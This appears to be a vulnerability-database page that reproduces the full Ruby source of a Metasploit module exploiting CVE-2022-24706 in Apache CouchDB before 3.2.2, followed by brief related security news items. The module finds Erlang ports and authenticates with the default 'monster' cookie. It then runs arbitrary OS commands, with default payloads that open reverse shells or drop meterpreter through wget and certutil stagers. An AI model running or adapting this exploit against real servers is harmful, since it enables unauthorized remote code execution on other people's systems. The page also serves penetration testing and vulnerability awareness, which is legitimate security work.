Headline
Apache CouchDB Erlang Remote Code Execution
In Apache CouchDB versions prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Retry include Msf::Exploit::Powershell prepend Msf::Exploit::Remote::AutoCheck require 'msf/core/exploit/powershell' require 'digest' # Constants required for communicating over the Erlang protocol defined here: # https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html EPM_NAME_CMD = "\x00\x01\x6e".freeze NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze COOKIE = 'monster'.freeze COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Couchdb Erlang RCE', 'Description' => %q{ In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges. }, 'Author' => [ 'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery '1F98D', # Erlang Cookie RCE exploit 'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit '_sadshade', # Apache CouchDB Erlang Cookie exploit 'jheysel-r7', # Msf Module ], 'References' => [ [ 'EDB', '49418' ], [ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'], [ 'CVE', '2022-24706'], ], 'License' => MSF_LICENSE, 'Platform' => ['win', 'linux'], 'Payload' => { 'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method }, 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => :wget, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ], [ 'Windows Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'CmdStagerFlavor' => :certutil, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp' } } ], [ 'PowerShell Stager', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh_stager, 'CmdStagerFlavor' => :certutil, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2022-01-21', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ), ) register_options( [ Opt::RPORT(4369) ] ) end def check erlang_ports = get_erlang_ports # If get_erlang_ports does not return an array of port numbers, the target is not vulnerable. return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty? erlang_ports.each do |erlang_port| # If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been # successful and the target as well as the specific socket used in this instance is vulnerable sock = connect_to_erlang_server(erlang_port.to_i) if sock.instance_of?(Socket) @vulnerable_socket = sock return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"') else next end end Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched') end # Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers # # @return [Array] An array of port numbers for discovered Erlang Servers. def get_erlang_ports erlang_ports = [] begin print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...") connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] }) # request Erlang nodes sock.put(EPM_NAME_CMD) sleep datastore['WfsDelay'] res = sock.get_once unless res && res.include?("\x00\x00\x11\x11name couchdb") print_error('Did not find any Erlang nodes') return erlang_ports end print_status('Successfully found EDPM socket') res.each_line do |line| erlang_ports << line.match(/\s(\d+$)/)[0] end rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e print_error("Error connecting to EDPM: #{e.class} #{e}") disconnect return erlang_ports end erlang_ports end # Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the # default erlang cookie value in Apache CouchDB installations before 3.2.2 # # @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server def connect_to_erlang_server(erlang_port) print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...') connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port }) print_status('Connection successful') challenge = retry_until_truthy(timeout: 60) do sock.put(NAME_MSG) sock.get_once(5) # ok message sock.get_once end # The expected successful response from the target should start with \x00\x1C unless challenge && challenge.include?("\x00\x1C") print_error('Connecting to the Erlang server was unsuccessful') return end challenge = challenge[9..12].unpack('N*')[0] challenge_reply = "\x00\x15r\x01\x02\x03\x04" md5 = Digest::MD5.new md5.update(COOKIE + challenge.to_s) challenge_reply << [md5.hexdigest].pack('H*') sock.put(challenge_reply) sleep datastore['WfsDelay'] challenge_response = sock.get_once if challenge_response.nil? print_error('Authentication was unsuccessful') return end print_status('Erlang challenge and response completed successfully') sock rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e print_error("Error when connecting to Erlang Server: #{e.class} #{e} ") disconnect return end def compile_cmd(cmd) msg = '' msg << COMMAND_PREFIX msg << [cmd.length].pack('S>') msg << cmd msg << "jw\x04user" payload = ("\x70" + CTRL_DATA + msg) ([payload.size].pack('N*') + payload) end def execute_command(cmd, opts = {}) payload = compile_cmd(cmd) print_status('Sending payload... ') opts[:sock].put(payload) sleep datastore['WfsDelay'] end def exploit_socket(sock) case target['Type'] when :unix_cmd, :win_cmd execute_command(payload.encoded, { sock: sock }) when :linux_dropper, :win_dropper execute_cmdstager({ sock: sock }) when :psh_stager execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock }) else fail_with(Failure::BadConfig, 'Invalid target specified') end end def exploit # If the check method has already been run, use the vulnerable socket that has already been identified if @vulnerable_socket exploit_socket(@vulnerable_socket) else erlang_ports = get_erlang_ports fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array) erlang_ports.each do |erlang_port| sock = connect_to_erlang_server(erlang_port.to_i) next unless sock.instance_of?(Socket) exploit_socket(sock) end end endend
Related news
Researcher uncovers RCE and undocumented backdoor risks
Penta Security Systems Inc WAPPLES 4.0.*, 5.0.0.*, 5.0.12.* are vulnerable to Incorrect Access Control. The operating system that WAPPLES runs on has a built-in non-privileged user penta with a predefined password. The password for this user, as well as its existence, is not disclosed in the documentation. Knowing the credentials, attackers can use this feature to gain uncontrolled access to the device and therefore are considered an undocumented possibility for remote control.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added 10 new actively exploited vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, including a high-severity security flaw affecting industrial automation software from Delta Electronics. The issue, tracked as CVE-2021-38406 (CVSS score: 7.8), impacts DOPSoft 2 versions 2.00.07 and prior. A successful
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges. The CouchDB documentation has always made recommendations for properly securing an installation, including recommending using a firewall in front of all CouchDB installations.